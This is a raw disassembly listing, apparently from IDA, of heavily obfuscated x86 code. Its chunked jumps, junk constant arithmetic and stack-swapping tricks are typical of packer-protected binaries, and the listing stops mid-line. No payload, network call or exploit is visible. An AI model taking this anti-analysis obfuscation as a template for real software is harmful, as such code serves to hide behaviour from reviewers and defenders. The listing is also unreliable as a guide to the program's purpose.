; CODE XREF: sub_58C71E+AB1Aj mov ebx, 4 mov ebp, ebx pop ebx add eax, ebp pop ebp push ebx mov ebx, 4 sub eax, ebx mov ebx, [esp+0] add esp, 4 jmp loc_597F9C ; END OF FUNCTION CHUNK FOR sub_58C71E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_590EE3: ; CODE XREF: sub_598A21-CD13j add eax, edi jmp loc_595862 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_590EEA: ; CODE XREF: sub_5962EB+28ABj sub edi, 78E71D42h add edx, edi pop edi xchg edx, [esp+0] mov esp, [esp+0] push ecx jmp loc_58E5BF ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_590EFF: ; CODE XREF: sdfs____:0058E68Bj mov ecx, 27F93CFFh neg ecx or ecx, 79496B6Eh neg ecx shr ecx, 4 inc ecx xor ecx, 6B014Eh add eax, ecx pop ecx jmp loc_59144E ; --------------------------------------------------------------------------- loc_590F20: ; CODE XREF: sdfs____:0059336Fj sub esp, 4 mov [esp], ebp mov ebp, 30C649B8h push esi jmp loc_594B13 ; --------------------------------------------------------------------------- loc_590F34: ; CODE XREF: sdfs____:005985CEj add edi, edx pop edx xchg edi, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_590F46: ; CODE XREF: sub_5917C0-59CEj add edx, ecx mov ecx, [esp+0] push edi mov edi, esp add edi, 4 jmp loc_594E8E ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_590F59: ; CODE XREF: sub_59841F-7DE7j and ebp, 330224BBh jnz loc_58CC2D add ebp, 2938531Ch sub ebx, ebp jmp loc_58BB2D ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_590F72: ; CODE XREF: sdfs____:0059250Cj add al, bl jmp loc_58D693 ; --------------------------------------------------------------------------- loc_590F79: ; CODE XREF: sdfs____:0059124Aj push 358Ah mov [esp], edx push ecx push ebx mov bh, 0EAh mov ch, bh pop ebx jmp loc_595B30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_590F8D: ; CODE XREF: sub_5987BC-6DBCj and eax, esi mov esi, [esp-4+arg_0] push eax push esp pop eax add eax, 4 push edi mov edi, 4 add eax, edi jmp loc_58C42F ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_590FA7: ; CODE XREF: sdfs____:0058F7C9j add ecx, 4 sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp push ecx mov ecx, 2 mov ebp, ecx pop ecx jmp loc_596197 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_590FD3: ; CODE XREF: sub_5962EB-544Aj xor edi, 0CC75822h or edi, 74AF5979h shr edi, 2 jmp loc_5945D6 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_590FE7: ; CODE XREF: sub_591435-3C83j ; sdfs____:00592BECj xor ch, 2Ch push ebx jmp loc_593C0D ; --------------------------------------------------------------------------- loc_590FF0: ; CODE XREF: sub_591435+6F51j mov edi, [esp+4+var_4] add esp, 4 push 1A68h mov [esp+4+var_4], ebp mov ebp, 2ACF0F70h not ebp inc ebp or ebp, 4F46129Fh jmp loc_591C05 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_591011: ; CODE XREF: sub_596736-170Fj xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] mov esp, [esp+4+var_4] push edx jmp loc_5973B8 ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_591023: ; CODE XREF: sub_591435+52C1j push ecx jmp loc_58E37C ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BC4E loc_591029: ; CODE XREF: sub_58BC4E+4759j or edx, eax shl edx, 1 jmp loc_593730 ; END OF FUNCTION CHUNK FOR sub_58BC4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_591032: ; CODE XREF: sdfs____:0058E616j ; sub_5962EB-3DA8j pop [esp-10h+arg_C] mov esp, [esp+0] add eax, 6341147Ah shr eax, 6 neg eax jmp loc_598D5F ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_591047: ; CODE XREF: sdfs____:0058C95Ej or [edi+1Ch], esi jmp loc_598180 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_59104F: ; CODE XREF: sub_594228+2BC6j mov ax, word ptr [esp+1Ah+var_1C+2] push 1F22h mov [esp+1Eh+var_20+2], ebp jmp loc_58BCBE ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_591060: ; CODE XREF: sdfs____:005946A8j push dword ptr [esp] pop eax push ecx mov ecx, esp push ebx jmp loc_591E89 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_58EA4A ; --------------------------------------------------------------------------- loc_591076: ; CODE XREF: sdfs____:00595E01j xor esi, [esp] mov esp, [esp] jmp loc_58BA3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591081: ; CODE XREF: sub_594228+4A86j add edi, 4 xchg edi, [esp+1Eh+var_20+2] mov esp, [esp+1Eh+var_20+2] and eax, esi pop esi or eax, eax jz loc_58DF39 push eax mov eax, 1CB34D12h dec eax dec eax not eax neg eax jmp loc_596336 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5910A9: ; CODE XREF: sub_591435+530j shr dh, 5 jp loc_5911DD jmp loc_5968BC ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5910B7: ; CODE XREF: sdfs____:00596294j sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], edx jmp loc_58FAFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_5910CE: ; CODE XREF: sub_5941BD-79C6j shl ebx, 8 shl ebx, 4 jmp loc_592FB0 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_5910D9: ; CODE XREF: sdfs____:0058FCB7j sub edi, 775606F8h sub edi, 710707F5h jmp loc_5915A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_5910EA: ; CODE XREF: sub_5987BC-9B14j mov cl, bl jmp loc_58DD57 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DB37 loc_5910F1: ; CODE XREF: sub_58DB37+37C4j add ecx, 0DB6ED0F3h jmp loc_58F862 ; END OF FUNCTION CHUNK FOR sub_58DB37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5910FC: ; CODE XREF: sub_591370-2B98j mov ebx, [esp+8+var_8] add esp, 4 push 464Fh mov [esp+8+var_8], edx push ebx push 655D63D0h jmp loc_58F9D9 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_591115: ; CODE XREF: sdfs____:00598B7Dj push 4F0Eh mov [esp], ebp jmp loc_59373D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591122: ; CODE XREF: sub_594228-53F5j add esp, 4 xor edi, 25732190h shr edi, 4 push edi not [esp+1Eh+var_20+2] jmp loc_58E70C ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_591137: ; CODE XREF: sdfs____:0059835Ej pop ebx jmp loc_5922A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59113D: ; CODE XREF: sub_591435-590Dj push ecx mov ecx, 42007A02h neg ecx jmp loc_58ED98 ; --------------------------------------------------------------------------- loc_59114A: ; CODE XREF: sdfs____:0059221Dj ; sub_591435:loc_594CCCj pop ebp add ecx, esi pop esi jmp loc_5955FA ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_591153: ; CODE XREF: sdfs____:00595C74j push edx jmp loc_58E6CD ; --------------------------------------------------------------------------- loc_591159: ; CODE XREF: sdfs____:005902D8j dec esi shr esi, 4 js loc_58EB38 jmp loc_592398 ; --------------------------------------------------------------------------- loc_591168: ; CODE XREF: sdfs____:00592090j xchg ebx, [esp] jmp loc_58D4E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_591170: ; CODE XREF: sdfs____:00592393j ; sub_591435:loc_5987F3j sub [esp+12h+var_14+2], ebp jmp loc_58C8C0 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_591178: ; CODE XREF: sdfs____:00596B40j add eax, 0E5E52D3h sub eax, edi sub eax, 0E5E52D3h pop edi push 683Bh mov [esp], edx jmp loc_5929EC ; --------------------------------------------------------------------------- loc_591192: ; CODE XREF: sdfs____:00590002j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx push 198A24A3h pop ebx sub eax, ebx push dword ptr [esp] pop ebx sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 jmp loc_598106 ; --------------------------------------------------------------------------- loc_5911BE: ; CODE XREF: sdfs____:0059680Bj push ebp mov ebp, 35C55593h sub eax, ebp pop ebp mov ecx, [esp] push esi mov esi, esp jmp loc_59299D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5911D2: ; CODE XREF: sub_594228-8492j add ecx, 5ABACD44h jmp loc_595255 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5911DD: ; CODE XREF: sdfs____:0058E3ECj ; sub_591435-389j add edx, edi pop edi add eax, edx pop edx jmp loc_59024A ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5911E8: ; CODE XREF: sdfs____:0058DA4Fj push ebx mov bh, 7Fh mov ch, bh pop ebx xor dl, ch mov cx, [esp] add esp, 2 and al, dl pop edx push 41E3h mov [esp], ebx jmp loc_591A6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_591207: ; CODE XREF: sub_5962EB-6C34j add esp, 4 sub ecx, 78D35A3Dh push [esp-0Ch+arg_8] jmp loc_59853F ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591218: ; CODE XREF: sub_594228-8486j ; sdfs____:00594379j push esp pop eax push edx push ebp push 6FD104EDh pop ebp xor ebp, 65C71C7h mov edx, ebp pop ebp jmp loc_598B40 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_591230: ; CODE XREF: sdfs____:00594F90j sub ebx, ecx pop ecx push edx push ebx mov ebx, 473C1CAFh mov edx, ebx pop ebx dec edx shr edx, 8 add edx, 76E2FEF6h sub ebx, edx pop edx jmp loc_590F79 ; --------------------------------------------------------------------------- loc_59124F: ; CODE XREF: sdfs____:0059382Aj ; sdfs____:00596A9Aj mov ax, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push esp mov edx, [esp] sub esp, 4 jmp loc_593427 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_591275: ; CODE XREF: sub_5987BC-B7C0j add edx, ecx pop ecx add edx, 4 push edx push dword ptr [esp+4] jmp loc_58BF37 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_591288: ; CODE XREF: sdfs____:005912B9j push 69D0h mov [esp], edx mov edx, 59B37915h dec edx push eax push edx jmp loc_590B0C ; --------------------------------------------------------------------------- loc_59129D: ; CODE XREF: sdfs____:0058C574j dec ecx inc ecx or ecx, 7FD321C0h shr ecx, 4 neg ecx xor ecx, 6D8ED0B9h sub ebp, ecx pop ecx sub edx, ebp pop ebp xor eax, edx pop edx jmp loc_591288 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5912BE: ; CODE XREF: sub_5917C0+632Ej add edi, 4 xchg edi, [esp+4+var_4] jmp loc_58E924 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DB37 loc_5912CC: ; CODE XREF: sub_58DB37-17B5j mov [esp+8+var_8], esi mov esi, 5674F40h push edx mov edx, 13F6689Dh xor esi, edx mov edx, [esp+0Ch+var_C] add esp, 4 push edi mov edi, 631D5504h neg edi inc edi not edi not edi push ecx push 61C05416h pop ecx not ecx jmp loc_5910F1 ; END OF FUNCTION CHUNK FOR sub_58DB37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_591300: ; CODE XREF: sub_5BB696-2E5C6j push [esp+2Ch+var_2C] pop edx jmp sub_5976B0 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_591309: ; CODE XREF: sub_591435+750Ej sub edx, 0F82EF890h mov [edi+20h], edx jmp loc_58D06E ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_591317: ; CODE XREF: sdfs____:00596CA3j ; sdfs____:00597520j ... pop esp push eax push esp mov eax, [esp+8+var_8] add esp, 4 add eax, 4 jmp sub_59841F ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_59132A: ; CODE XREF: sub_5BB696-22BF1j mov dl, bh pop ebx pop ecx mov ch, dl pop edx mov ebx, [esp+20h+var_20] add esp, 4 add ch, 0AEh add al, ch mov ecx, [esp+1Ch+var_1C] jmp sub_58EB23 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_591344: ; CODE XREF: sdfs____:00598B02j xchg ebp, [esp] jmp loc_59031C ; --------------------------------------------------------------------------- loc_59134C: ; CODE XREF: sdfs____:00595846j xor al, bl jmp loc_58DFD9 ; --------------------------------------------------------------------------- loc_591353: ; CODE XREF: sdfs____:0058E40Fj mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push 11A1h jmp loc_58F64A ; =============== S U B R O U T I N E ======================================= sub_591370 proc near ; CODE XREF: sub_591435+46B0j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch ; FUNCTION CHUNK AT 0058BF1E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058C3B0 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0058C4EB SIZE 0000003D BYTES ; FUNCTION CHUNK AT 0058C683 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058CA26 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058CA7A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058CD1B SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0058CDAE SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058D2AD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058D6E9 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058D728 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058D831 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058D842 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058DB81 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058DCF3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058DE01 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058E11E SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058E41C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058E58A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058E5FC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058E7D3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058EAC4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058ED34 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058EE77 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058F6F5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058F9D9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058FB8C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058FBA9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058FBFE SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058FCCB SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0058FFE7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059005E SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0059015F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059025A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00590428 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005905F0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005906AC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00590A61 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00590CB2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005910FC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00591448 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005914B2 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0059150B SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00591771 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00591B96 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00591D28 SIZE 0000003D BYTES ; FUNCTION CHUNK AT 00591F68 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00591FFB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00592095 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00592159 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00592523 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059266D SIZE 00000056 BYTES ; FUNCTION CHUNK AT 00592A37 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00592DF7 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005931AA SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059339E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005934E7 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00593566 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00593720 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00593799 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0059381D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00593857 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593AC6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00593B43 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593B66 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00594254 SIZE 00000047 BYTES ; FUNCTION CHUNK AT 005944CB SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00594501 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00594780 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00594876 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00594D19 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00594E2F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00594F61 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00595683 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00595953 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00595BEE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00595E06 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00595F2C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00596066 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00596320 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005963B6 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00596405 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059656D SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00596951 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00596EB1 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00596F40 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00597141 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005975A3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00597628 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005976FE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005977BF SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005977D8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00597A27 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00597E67 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00597ED4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00597FCE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00598018 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005982B5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00598397 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005984C0 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059872D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005987B6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00598989 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00598A0A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00598A70 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 00598B17 SIZE 0000000E BYTES sub esp, 4 mov [esp+8+var_8], ebx push ecx push ebp mov ebp, 26704A10h mov ecx, 2D0D5C81h xor ecx, ebp pop ebp sub [esp+0Ch+var_8], ecx pop ecx pop eax push ebx push edi mov edi, 668D13B2h jmp loc_596EB1 sub_591370 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_591397 proc near ; CODE XREF: sub_59841F-5AECj var_3 = byte ptr -3 arg_2 = word ptr 6 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005907D8 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00594118 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00594136 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00594D51 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005975CA SIZE 00000014 BYTES push ebx inc byte ptr [esp+1] pop ebx sub bh, 85h xor bh, 3 add al, bh pop ebx pop ecx mov dx, [esp+0] add esp, 2 sub esp, 4 mov [esp+0], edx mov dl, 20h neg dl ja loc_594118 push ecx push eax mov al, 3Eh shr al, 3 jnz loc_594D51 add al, 0Ah mov ch, al mov eax, [esp+0] mov ebp, ebx pop edx push dword ptr [edi+1Ch] popf pop ax adc word ptr [esp-0Ah+arg_4+2], ax pushf jmp loc_58B9C5 sub_591397 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E146 loc_5913E8: ; CODE XREF: sub_58E146+6j mov [esp+4+var_4], edx push 7FF7h jmp loc_59321D ; END OF FUNCTION CHUNK FOR sub_58E146 ; --------------------------------------------------------------------------- loc_5913F5: ; CODE XREF: sdfs____:0058DCBDj ; sdfs____:005953AFj mov dh, bl pop ebx mov bl, 95h push cx jmp loc_595825 ; --------------------------------------------------------------------------- loc_591401: ; CODE XREF: sdfs____:00594159j sub esp, 2 mov [esp], sp push ax mov ax, 2 jmp loc_5989A6 ; --------------------------------------------------------------------------- loc_591416: ; CODE XREF: sdfs____:loc_596073j sub edx, 0DE272A1Dh mov eax, edx jmp loc_58EE9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_591423: ; CODE XREF: sub_59841F-C3FDj ; sdfs____:loc_5950F5j add ebx, 4 push ebp push ebx push 1CE90F57h jmp loc_58DFFD ; END OF FUNCTION CHUNK FOR sub_59841F ; =============== S U B R O U T I N E ======================================= sub_591435 proc near ; CODE XREF: sub_597CE3-988Cj var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058B9DE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058BA1B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058BA4D SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0058BB1D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058BBFF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058BD2F SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058BE43 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058BEA6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058BEF0 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058BF95 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058C087 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058C418 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058C7DA SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058C8C0 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0058C9BA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058CEE0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058CF0B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058D029 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058D06E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058D081 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058D0B6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058D15D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058D1F9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058D43F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058D500 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058D610 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058D702 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0058D779 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058D79E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058DAB7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058DBDE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058DCDA SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058DD0A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058DE69 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058E1EA SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0058E243 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058E2A4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058E37C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058E4B9 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0058E690 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058E890 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058EACA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058EB07 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058ED65 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058ED98 SIZE 0000004A BYTES ; FUNCTION CHUNK AT 0058EFFE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058F173 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058F1CF SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058F264 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058F3ED SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0058F461 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058F53B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058F5A8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058F663 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058F6BC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058F75F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058F845 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058F96D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058FA91 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058FB66 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058FBE3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058FC37 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0058FEA9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058FEFB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059013E SIZE 0000001C BYTES ; FUNCTION CHUNK AT 